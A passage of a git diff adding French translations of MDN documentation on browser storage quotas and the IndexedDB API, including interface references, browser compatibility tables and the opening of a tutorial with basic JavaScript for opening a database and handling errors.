+<p>Dans Chrome / Opera, l'API " Quota Management" gère les quotas pour <a href="/en-US/docs/Web/HTML/Using_the_application_cache">AppCache</a>, <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>, WebSQL et <a href="/en-US/docs/Web/API/File_System_API">File System API</a>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/offline/quota-research/">Working with quota on mobile browsers</a>, de<a href="http://blog.agektmr.com" title="Eiji Kitamura"> Eiji Kitamura.</a> Une analyse détaillée du stockage côté client sur les navigateurs mobiles.</li>
+ <li><a href="https://developers.google.com/web/updates/2011/11/Quota-Management-API-Fast-Facts">Quota Management API : Fast Facts</a>, de<a href="http://blog.agektmr.com" title="Eiji Kitamura"> Eiji Kitamura.</a> Un regard sur l'API Quota Management dans Chrome / Blink (qui devrait également inclure Opera aussi.)</li>
+</ul>
diff --git a/files/fr/web/api/api_indexeddb/index.html b/files/fr/web/api/api_indexeddb/index.html
new file mode 100644
index 0000000000..682043df0e
--- /dev/null
+++ b/files/fr/web/api/api_indexeddb/index.html
@@ -0,0 +1,322 @@
+---
+title: IndexedDB
+slug: Web/API/API_IndexedDB
+tags:
+  - API
+  - Avancé
+  - Bases de données
+  - IndexedDB
+  - Stockage
+translation_of: Web/API/IndexedDB_API
+---
+<p>{{DefaultAPISidebar("IndexedDB")}}</p>
+
+<p>IndexedDB est une API de bas niveau qui permet le stockage côté client de quantités importantes de données structurées, incluant des fichiers/blobs. Cette API utilise des index afin de permettre des recherches performantes sur ces données. Alors que <a href="/fr/docs/Web/API/Web_Storage_API">Web Storage</a> est utile pour stocker de petites quantités de données, il est moins utile pour stocker de grandes quantités de données structurées. IndexedDB fournit une solution. Cette page est le point d'entrée pour tout ce qui concerne IndexedDB sur MDN - vous y trouverez les liens vers la référence complète de l'API et les guides d'utilisation, le support par les navigateurs, et quelques explications des concepts clés.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: l'API IndexedDB est puissante, mais elle peut sembler trop compliquée dans les cas simples. Si vous préferez une API plus simple, essayez des librairies comme <a href="https://localforage.github.io/localForage/">localForage</a>, <a href="http://www.dexie.org/">dexie.js</a>, <a href="https://github.com/erikolson186/zangodb">ZangoDB</a>, <a href="https://pouchdb.com/">PouchDB</a>, <a href="https://www.npmjs.com/package/idb">idb</a>, <a href="https://www.npmjs.com/package/idb-keyval">idb-keyval</a>, <a href="http://jsstore.net/">JsStore</a> et <a href="https://github.com/google/lovefield">lovefield</a> qui offrent de nombreux avantages aux développeurs de IndexedDB.</p>
+</div>
+
+<h2 id="Concepts_clés_et_utilisation">Concepts clés et utilisation</h2>
+
+<p>IndexedDB est un système de gestion de base de données transactionnel, similaire à un SGBD relationnel basé sur SQL. Cependant contrairement aux SGBD relationnels, qui utilisent des tables avec des colonnes fixes, IndexedDB est une base de données orientée objet basée sur JavaScript. <span style="line-height: 1.5;">IndexedDB vous permet de stocker et de récupérer des objets qui sont indexés avec une </span><strong style="line-height: 1.5;">clef</strong><span style="line-height: 1.5;">; tout objet supporté par </span><a href="https://developer.mozilla.org/fr/docs/Web/API/Web_Workers_API/algorithme_clonage_structure">l'algorithme de clônage structuré</a><span style="line-height: 1.5;"> peut être stocké. </span><span style="line-height: 1.5;">Vous devez spécifier le schéma de la base de données, ouvrir une connexion à votre base de données, puis récupérer et mettre à jour des données dans une série de </span><strong style="line-height: 1.5;">transactions</strong><span style="line-height: 1.5;">.</span></p>
+
+<ul>
+ <li><span style="line-height: 1.5;">Plus d'informations sur les <a href="/fr/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB">concepts derrière IndexedDB</a>.</span></li>
+ <li><span style="line-height: 1.5;">Apprenez à utiliser IndexedDB de manière asynchrone à partir des principes fondamentaux grâce à notre guide <a href="/fr/docs/IndexedDB/Using_IndexedDB">Utiliser IndexedDB</a>.</span></li>
+ <li><span style="line-height: 1.5;">Combinez IndexedDB pour le stockage des données en mode déconnecté avec les Service Workers pour stocker des assets en mode déconnecté, comme précisé dans <a href="/fr/docs/Web/Progressive_web_apps/Offline_Service_workers">Faire fonctionner les PWAs en mode déconnecté grâce aux Service workers</a></span><span style="line-height: 1.5;">.</span></li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Comme la plupart des solutions de stockage en ligne, IndexedDB suit la politique <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Alors même que vous pouvez accèder à des données stockées au sein d'un domaine, vous ne pouvez pas accéder à des données sur plusieurs domaines.</p>
+</div>
+
+<h3 id="Synchrone_et_asynchrone">Synchrone et asynchrone</h3>
+
+<p>Les opérations effectuées par IndexedDB sont réalisées de manière asynchrone, afin de ne pas bloquer l'application. IndexedDB comprend à la fois une API asynchrone et une API synchrone. L'API synchrone était à l'origine uniquement destinée pour un usage avec les <a href="/fr/docs/Utilisation_des_web_workers">Web workers</a>, mais elle a été retirée de la spécification parce qu'il était difficile de savoir si elle était nécessaire. Cependant l'API synchrone pourrait être ré-integrée si il y a une demande suffisante de la part des développeurs web.</p>
+
+<h3 id="Limites_de_stockage_et_critères_déviction">Limites de stockage et critères d'éviction</h3>
+
+<p>Il y a un certain nombre de technologies web pour stocker différents types de données côté client (par exemple sur votre disque local). IndexedDB est la plus couramment citée. Le processus par lequel le navigateur calcule combien d'espace il doit allouer aux données web, et ce qu'il doit supprimer quand la limite est atteinte, n'est pas simple et varie entre les différents navigateurs.<a href="/fr/docs/IndexedDB/Browser_storage_limits_and_eviction_criteria"> L'article "limites de stockage des navigateurs et critères d'éviction"</a> tente d'expliquer ce fonctionnement, au moins pour le cas de Firefox.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<p>Pour accèder à une base de données, il faut apeller <a href="/fr/docs/Web/API/IDBFactory.open"><code>open()</code></a> sur l'attribut <a href="/fr/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a> d'un objet <a href="/fr/docs/DOM/window">window</a>. Cette méthode retourne un objet {{domxref("IDBRequest")}}; Les opérations asynchrones communiquent avec l'application appelante en déclenchant des évènements sur les objets {{domxref("IDBRequest")}}.</p>
+
+<h3 id="Se_connecter_à_la_base_de_données">Se connecter à la base de données</h3>
+
+<dl>
+ <dt>{{domxref("IDBEnvironment")}}</dt>
+ <dd>Fournit un accès aux fonctionnalités d'IndexedDB. Implémenté par les objets {{domxref("window")}} et {{domxref("worker")}}.</dd>
+ <dt>{{domxref("IDBFactory")}}</dt>
+ <dd>Fournit un accès à la base de données.C'est l'interface implémentée par l'objet global <a href="/fr/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a> et c'est donc le point d'entrée de l'API.</dd>
+ <dt>{{domxref("IDBOpenDBRequest")}}</dt>
+ <dd>Représente une requête d'ouverture de la base de données.</dd>
+ <dt>{{domxref("IDBDatabase")}}</dt>
+ <dd>Représente une connexion à la base de données. C'est le seul moyen d'obtenir une transaction sur la base de données.</dd>
+ <dt>
+ <h3 id="Récupérer_et_modifier_les_données">Récupérer et modifier les données</h3>
+ </dt>
+</dl>
+
+<dl>
+ <dt>{{domxref("IDBTransaction")}}</dt>
+ <dd>Représente une transaction. Vous créez une transaction sur la base de données, spécifiez la portée (comme à quel magasin d'objets vous souhaitez accèder), et déterminez le type d'accès désiré (lecture seule ou lecture et écriture).</dd>
+ <dt>{{domxref("IDBRequest")}}</dt>
+ <dd>Interface générique qui récupère les requêtes à la base de données et fournit un accès aux résultats.</dd>
+ <dt>{{domxref("IDBObjectStore")}}</dt>
+ <dd>Représente un magasin d'objets qui permet l'accès à un ensemble de données d'une base de données IndexedDB, recherché par clé primaire.</dd>
+ <dt>{{domxref("IDBIndex")}}</dt>
+ <dd>Permet aussi d'accèder à un sous-ensemble de données d'une base IndexedDB mais utilise un index pour récupérer les enregistrements, au lieu d'une clé primaire. C'est parfois plus rapide qu'un usage de {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBCursor")}}</dt>
+ <dd>Itérateur sur les magasins d'objets et les index.</dd>
+ <dt>{{domxref("IDBCursorWithValue")}}</dt>
+ <dd>Itérateur sur les magasins d'objets et les index et retourne la valeur courante du curseur.</dd>
+ <dt>{{domxref("IDBKeyRange")}}</dt>
+ <dd>Définit une portée de valeurs qui peut être utilisée pour récupérer des données de la base de données dans une certaine portée.</dd>
+ <dt>{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}</dt>
+ <dd>Définit une portée de valeurs qui peut être utilisée pour récupérer des données de la base de données dans une certaine portée, triées en fonction des règles de la localisation spécifiée pour un certain index (voir <a href="/fr/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>).</dd>
+</dl>
+
+<h3 id="Interfaces_dévénements_personnalisés">Interfaces d'événements personnalisés</h3>
+
+<p>Cette spécification provoque des évènements avec les interfaces personnalisées suivantes:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeEvent")}}</dt>
+ <dd><code>L'interface IDBVersionChangeEvent</code> indique que la version de la base de données à changé, résultat de la fonction de saisie d'un évènement  {{domxref("IDBOpenDBRequest.onupgradeneeded")}}.</dd>
+</dl>
+
+<h3 id="Interfaces_obsolètes">Interfaces obsolètes</h3>
+
+<p>Une précedente version des spécifications a défini ces interfaces, désormais supprimées. Elles sont toujours documentées dans le cas où vous avez besoin de mettre à jour du code déja écrit :</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}</dt>
+ <dd>Représente une requête de changement de version de la base de données. Le moyen pour changer de version de la base de données a désormais changé (avec un appel de {{domxref("IDBFactory.open")}} sans aussi appeler {{domxref("IDBDatabase.setVersion")}}), et l'interface  {{domxref("IDBOpenDBRequest")}} a désormais la fonction de l'ancienne (supprimée) {{domxref("IDBVersionChangeRequest")}}.</dd>
+ <dt>{{domxref("IDBDatabaseException")}}  {{obsolete_inline}}</dt>
+ <dd>Représente une exception (erreur) qui peut survenir durant les opérations sur la base de données.</dd>
+ <dt>{{domxref("IDBTransactionSync")}} {{obsolete_inline}}</dt>
+ <dd>Version synchrone de {{domxref("IDBTransaction")}}.</dd>
+ <dt>{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}</dt>
+ <dd>Version synchrone de {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBIndexSync")}} {{obsolete_inline}}</dt>
+ <dd>Version synchrone de  {{domxref("IDBIndex")}}.</dd>
+ <dt>{{domxref("IDBFactorySync")}} {{obsolete_inline}}</dt>
+ <dd>Version synchrone de {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}</dt>
+ <dd>Version synchrone de {{domxref("IDBEnvironment")}}.</dd>
+ <dt>{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}</dt>
+ <dd>Version synchrone de {{domxref("IDBDatabase")}}.</dd>
+ <dt>{{domxref("IDBCursorSync")}} {{obsolete_inline}}</dt>
+ <dd>Version synchrone de {{domxref("IDBCursor")}}.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<ul>
+ <li><a class="external external-icon" href="http://marco-c.github.io/eLibri/">eLibri:</a> Une application puissante de bibliothèque et de lecteur de livres électroniques, écrit par Marco Castelluccio, gagnant du <em>DevDerby IndexedDB</em> de Mozilla.</li>
+ <li><a class="external external-icon" href="https://github.com/chrisdavidmills/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external external-icon" href="http://mdn.github.io/to-do-notifications/">voir la démonstration en ligne</a>): L'application de référence pour les exemples de la documentation.</li>
+ <li><a class="external external-icon" href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">Stocker des images et des fichiers dans IndexedDB</a></li>
+</ul>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(23)}}{{property_prefix("webkit")}}<br>
+    {{CompatChrome(24)}} (unprefixed)<br>
+    {{CompatChrome(38)}} (prefixes deprecated)<br>
+    {{CompatChrome(57)}} (prefixes removed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10.0")}} {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>15</td>
+   <td>
+    <p>7.1, partial<br>
+     10</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}} (unprefixed)<br>
+    {{CompatChrome(38)}} (prefixes deprecated)<br>
+    {{CompatChrome(57)}} (prefixes removed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+  </tr>
+  <tr>
+   <td>Available in privacy mode<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>IDBLocaleAwareKeyRange</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("43.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Indexed Database 2.0</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE/Edge Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} (unprefixed)<br>
+    {{CompatChrome(38)}} (prefixes deprecated)<br>
+    {{CompatChrome(57)}} (prefixes removed)</td>
+   <td>{{CompatVersionUnknown}} (unprefixed)<br>
+    {{CompatChrome(38)}} (prefixes deprecated)<br>
+    {{CompatChrome(57)}} (prefixes removed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>{{CompatOpera(22)}}</td>
+   <td>8, partial<br>
+    10</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}} (unprefixed)<br>
+    {{CompatChrome(38)}} (prefixes deprecated)<br>
+    {{CompatChrome(57)}} (prefixes removed)</td>
+   <td>{{CompatVersionUnknown}} (unprefixed)<br>
+    {{CompatChrome(38)}} (prefixes deprecated)<br>
+    {{CompatChrome(57)}} (prefixes removed)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+  </tr>
+  <tr>
+   <td>Available in privacy mode<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>IDBLocaleAwareKeyRange</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("43.0")}}<sup>[2]</sup></td>
+   <td>2.5<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Indexed Database 2.0</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatChrome(58)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(45)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</div>
+</div>
+
+<ul>
+ <li>[1] {{domxref("IDBCursorWithValue")}} n'est pas disponible dans les workers jusqu'à Gecko 42.0 {{geckoRelease("42.0")}}.</li>
+ <li>[2] Cette fonctions est actuellement cachée — pour l'activer et l'experimenter, aller dans about:config et activer dom.indexedDB.experimental.</li>
+ <li>[3] AKA "Private Browsing Mode" (Firefox) et "Incognito" (Chrome).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="https://localforage.github.io/localForage/">localForage</a>: Un <em>Polyfill</em> fournissant une syntaxe clé-valeurs simple pour un stockage côté client; il utilise IndexedDB en arrière plan, mais se retourne d'abord sur WebSQL puis sur localStorage pour les navigateurs qui ne supportent pas IndexedDB.</li>
+ <li><a class="external" href="http://www.dexie.org/">dexie.js</a> : Un <em>wrapper </em>pour IndexedDB qui permet un développement plus rapide avec une syntaxe simple.</li>
+ <li><a class="external" href="https://github.com/erikolson186/zangodb">ZangoDB </a>: Une interface MongoDB-like pour indexedDB qui <span id="result_box" lang="fr"><span>prend en charge la plupart des fonctionnalités familières de filtrage, projection, tri, mise à jour et agrégation de MongoDB.</span></span></li>
+ <li><a class="external" href="http://jsstore.net/">JsStore </a>: Un contenu indexedDB avec SQL comme syntaxe.</li>
+ <li><a class="external" href="https://github.com/mWater/minimongo">MiniMongo</a></li>
+ <li><a class="external" href="https://pouchdb.com">PouchDB</a></li>
+</ul>
diff --git a/files/fr/web/api/api_indexeddb/using_indexeddb/index.html b/files/fr/web/api/api_indexeddb/using_indexeddb/index.html
new file mode 100644
index 0000000000..a8df123888
--- /dev/null
+++ b/files/fr/web/api/api_indexeddb/using_indexeddb/index.html
@@ -0,0 +1,1337 @@
+---
+title: Utiliser IndexedDB
+slug: Web/API/API_IndexedDB/Using_IndexedDB
+tags:
+  - Avancé
+  - Base de données
+  - Guide
+  - IndexedDB
+  - Stockage
+  - Tutoriel
+translation_of: Web/API/IndexedDB_API/Using_IndexedDB
+---
+<p class="summary">IndexedDB est un moyen de stocker des données de manière persistante dans un navigateur. Cela vous laisse créer des applications web avec de riches possibilités de requêtes indépendamment de la disponibilité du réseau puisque vos applications peuvent fonctionner en ligne ou hors-ligne. </p>
+
+<h2 id="À_propos_de_ce_document">À propos de ce document</h2>
+
+<p>Ce tutoriel vous guide à travers l'utilisation de l'API asynchrone de IndexedDB. Si vous n'êtes pas familier avec le principe de IndexedDB, vous devriez d'abord lire <a href="/en/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en/IndexedDB/Basic Concepts Behind IndexedDB">les concepts basiques d'IndexedDB</a>.</p>
+
+<p>Pour la documentation de référence sur l'API d'IndexedDB, voyez l'article <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a> et ses sous-parties, qui détaille les types d'objets utilisés par IndexedDB, ainsi que les méthodes sur l'API asynchrone (l'API synchrone a été retirée de la spécification).</p>
+
+<h2 id="pattern" name="pattern">Modèle de base</h2>
+
+<p>Le modèle de base qu'IndexedDB utilise est le suivant :</p>
+
+<ol>
+ <li>Ouvrir une base de données.</li>
+ <li>Créer un objet de stockage dans la base de données. </li>
+ <li>Démarrer une transaction, et faire des requêtes pour faire quelques opérations sur des bases de données, comme ajouter, ou récupérer des données.</li>
+ <li>
+  <div>Attendre que l'exécution soit terminée, en écoutant le bon type d'événement DOM.</div>
+ </li>
+ <li>
+  <div>Faire quelque chose avec les résultats (qui peuvent être trouvés dans l'objet de la requête).</div>
+ </li>
+</ol>
+
+<p>Maintenant que nous avons ces grands concepts en poche, nous pouvons voir des choses plus concrètes.</p>
+
+<h2 id="open" name="open">Créer et structurer l'objet de stockage</h2>
+
+<p><span id="result_box" lang="fr"><span>Étant donné que la spécification évolue encore, les implémentations actuelles de IndexedDB se cachent sous les préfixes du navigateur.</span> <span>Les fournisseurs de navigateurs peuvent avoir des implémentations différentes de l'API IndexedDB standard jusqu'à ce que la spécification se soit solidifiée.</span> <span>Mais une fois qu'un consensus est atteint sur la norme, les fournisseurs l'implémentent sans les balises de préfixe.</span> <span>Actuellement, certaines implémentations ont supprimé le préfixe : Internet Explorer 10, Firefox 16, Chrome 24. Lorsqu'ils utilisent un préfixe, les navigateurs basés sur Gecko utilisent le préfixe </span></span> <code>moz</code><span lang="fr"><span>, tandis que les navigateurs WebKit utilisent le préfixe </span></span> <code>webkit</code><span lang="fr"><span>.</span></span></p>
+
+<h3 id="Utiliser_une_version_expérimentale_dIndexedDB">Utiliser une version expérimentale d'IndexedDB</h3>
+
+<p>Au cas où vous souhaiteriez tester votre code dans des navigateurs qui utilisent toujours un préfixe, vous pouvez utiliser le code suivant :  </p>
+
+<pre class="brush: js">// Sur la ligne suivante, vous devez inclure les préfixes des implémentations que vous souhaitez tester.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// N'UTILISEZ PAS "var indexedDB = ..." si vous n'êtes pas dans une fonction.
+// De plus, vous pourriez avoir besoin de réferences à des objets window.IDB*:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
+// (Mozilla n'a jamais préfixé ces objets, donc nous n'avons pas besoin de window.mozIDB*)</pre>
+
+<p>Faites attention aux implémentations qui utilisent un préfixe ; elles peuvent être boguées, incomplètes, voire suivre une ancienne version de la spécification. Il n'est donc pas recommandé d'utiliser en production. Il serait préférable de ne pas supporter ces navigateurs :</p>
+
+<pre class="brush: js">if (!window.indexedDB) {
+    window.alert("Votre navigateur ne supporte pas une version stable d'IndexedDB. Quelques fonctionnalités ne seront pas disponibles.")
+}
+</pre>
+
+<h3 id="Ouvrir_une_base_de_données">Ouvrir une base de données</h3>
+
+<p>On commence l'ensemble du processus comme ceci :</p>
+
+<pre class="brush: js">// Ouvrons notre première base
+var request = window.indexedDB.open("MyTestDatabase", 3);
+</pre>
+
+<p>Vous avez vu ? Ouvrir une base de données est comme n'importe quelle autre opération — vous avez juste à le "demander".</p>
+
+<p>La requête "open" n'ouvre pas la base de données ni ne démarre une transaction aussitôt. L'appel de la fonction <code>open()</code> retourne un objet <a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> avec un résultat  (success) ou une valeur d'erreur qui permet de la gérer comme un évènement. La plupart des autres fonctions asynchrones dans IndexedDB fonctionnent de la même façon ; Elles retournent un objet <a href="/en-US/docs/IndexedDB/IDBRequest" title="/en-US/docs/IndexedDB/IDBRequest"><code style="font-size: 14px; color: rgb(51, 51, 51);">IDBRequest</code></a> avec le résultat ou une erreur. Le résultat de la fonction "open" est une instance de <code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a></code>.</p>
+
+<p>Le second paramètre de la méthode open est la version de la base de données. La version de la base détermine le schéma de celle-ci — Les objets stockés dans la base de données et leur structure. Si la base de données n'existe pas déjà, elle est créée via l'opération <code>open()</code>, puis, un événement <code>onupgradeneeded</code> est déclenché et vous créez le schéma de la base dans le gestionnaire pour cet événement. Si la base de données existe, mais que vous spécifiez un numéro de version plus élevé, un événement <code>onupgradeneeded</code> est déclenché  immédiatement, vous permettant de mettre à jour le schéma dans son gestionnaire – plus d'informations dans <a href="#Updating_the_version_of_the_database">Updating the version of the database</a> plus bas et la page référence {{ domxref("IDBFactory.open") }}.</p>
+
+<div class="warning">
+<p><strong>Important</strong>: Le numéro de version est un nombre "<code>unsigned long long</code>" <span id="result_box" lang="fr"><span>ce qui signifie qu'il peut s'agir d'un entier très grand</span></span>. Cela veut également dire que vous ne pouvez pas utiliser de réél, sinon, il sera converti au nombre entier le plus proche (inférieur) et la transaction peut ne pas démarrer ou ne pas déclencher l'événement <code>upgradeneeded</code>. Par exemple, n'utilisez pas 2.4 comme un numéro de version :<br>
+ <code>var request = indexedDB.open("MyTestDatabase", 2.4); // Ne faites pas ça, même si la version sera arrondie à 2</code></p>
+</div>
+
+<h4 id="Générer_des_gestionnaires">Générer des gestionnaires</h4>
+
+<p>La première chose que vous ferez avec la plupart des requêtes que vous générerez sera d'ajouter des gestionnaires de succès ou d'erreurs :</p>
+
+<pre class="brush: js">request.onerror = function(event) {
+  // Faire quelque chose avec request.errorCode !
+};
+request.onsuccess = function(event) {
+  // Faire quelque chose avec request.result !
+};</pre>
+
+<p>Laquelle de ces deux fonctions, <code>onsuccess()</code> or <code>onerror()</code>, sera appelée ? Si tout se passe bien, un évènement success (qui est un évènement DOM dont la propriété <code>type</code> est à <code>"success"</code>) est déclenché avec <code>request</code> comme cible. Une fois déclenché, la fonction <code>onsuccess()</code> de <code>request</code> est lancée avec l'évènement success comme argument. S’il y avait un quelconque problème, un évènement erreur (qui est un évènement DOM dont la propriété <code>type</code> est définie à <code>"error"</code>) est lancée dans <code>request</code>. Cela déclenche la fonction <code><code>onerror()</code></code> avec l'évènement d'erreur comme argument.</p>
+
+<p>L'API IndexedDB est conçue pour minimiser le recours à la gestion des erreurs, donc vous ne serez pas amené à voir beaucoup d'évènements erreurs (du moins, pas tant que vous utilisez l'API !). Cependant, dans le cas d'une ouverture de base de données, il y a quelques conditions qui génèrent des évènements d'erreurs. Le problème le plus courant est que l'utilisateur a décidé d'interdire l'accès à la création de base de données. Un des principaux objectifs d’IndexedDB est de permettre un stockage important de données pour l'utilisation hors-ligne. (Pour en savoir plus sur la capacité de stockage de chaque navigateur, voyez <a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">Storage limits</a>).</p>
+
+<p>Évidemment, les navigateurs ne peuvent permettre qu'une publicité en ligne ou un site malicieux pollue votre ordinateur, donc ils informent l’utilisateur la première fois qu'une application web tente d'ouvrir un espace de stockage IndexedDB. L'utilisateur peut choisir de permettre ou refuser l'accès. En ce qui concerne l’utilisation d’IndexedDB en mode privé, les données restent en mémoire jusqu’à ce que la session privée soit close (Navigation privée pour Firefox et mode Incognito pour Chrome, mais dans Firefox, cela <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=781982">n'est pas encore implémenté</a> depuis novembre 2015, aussi vous ne pouvez pas utiliser IndexedDB dans le mode privé de Firefo du tout).</p>
+
+<p>Maintenant, en admettant qu’un utilisateur ait accepté la création d'une base, et que vous receviez un évènement "success" qui déclenche le callback <em>(rappel)</em> "success" ; que se passe-il après ? La requête a génèré un appel à <code>indexedDB.open()</code>, donc <code>request.result</code> est une instance de <code>IDBDatabase</code>, et vous voulez garder en mémoire cela pour plus tard. Votre code devrait ressembler à ceci :</p>
+
+<pre class="brush: js">var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Pourquoi ne permettez-vous pas à ma web app d'utiliser IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = event.target.result;
+};
+</pre>
+
+<h4 id="Gérer_les_erreurs">Gérer les erreurs</h4>
+
+<p>Comme mentionné ci-dessus, les évènements d’erreur génèrent des info-bulles. Ils  sont rattachés à la requête qui a généré l’erreur, puis la bulle de l'évènement est transmis à la transaction, et enfin à l'objet de la base de données. Si vous souhaitez éviter d'ajouter un gestionnaire d'erreurs à chaque requête, vous pouvez en ajouter un unique à l'objet de la base de donnée, de cette manière :</p>
+
+<pre class="brush: js">db.onerror = function(event) {
+  // Gestionnaire d'erreur générique pour toutes les erreurs de requêtes de cette base
+  alert("Database error: " + event.target.errorCode);
+};
+</pre>
+
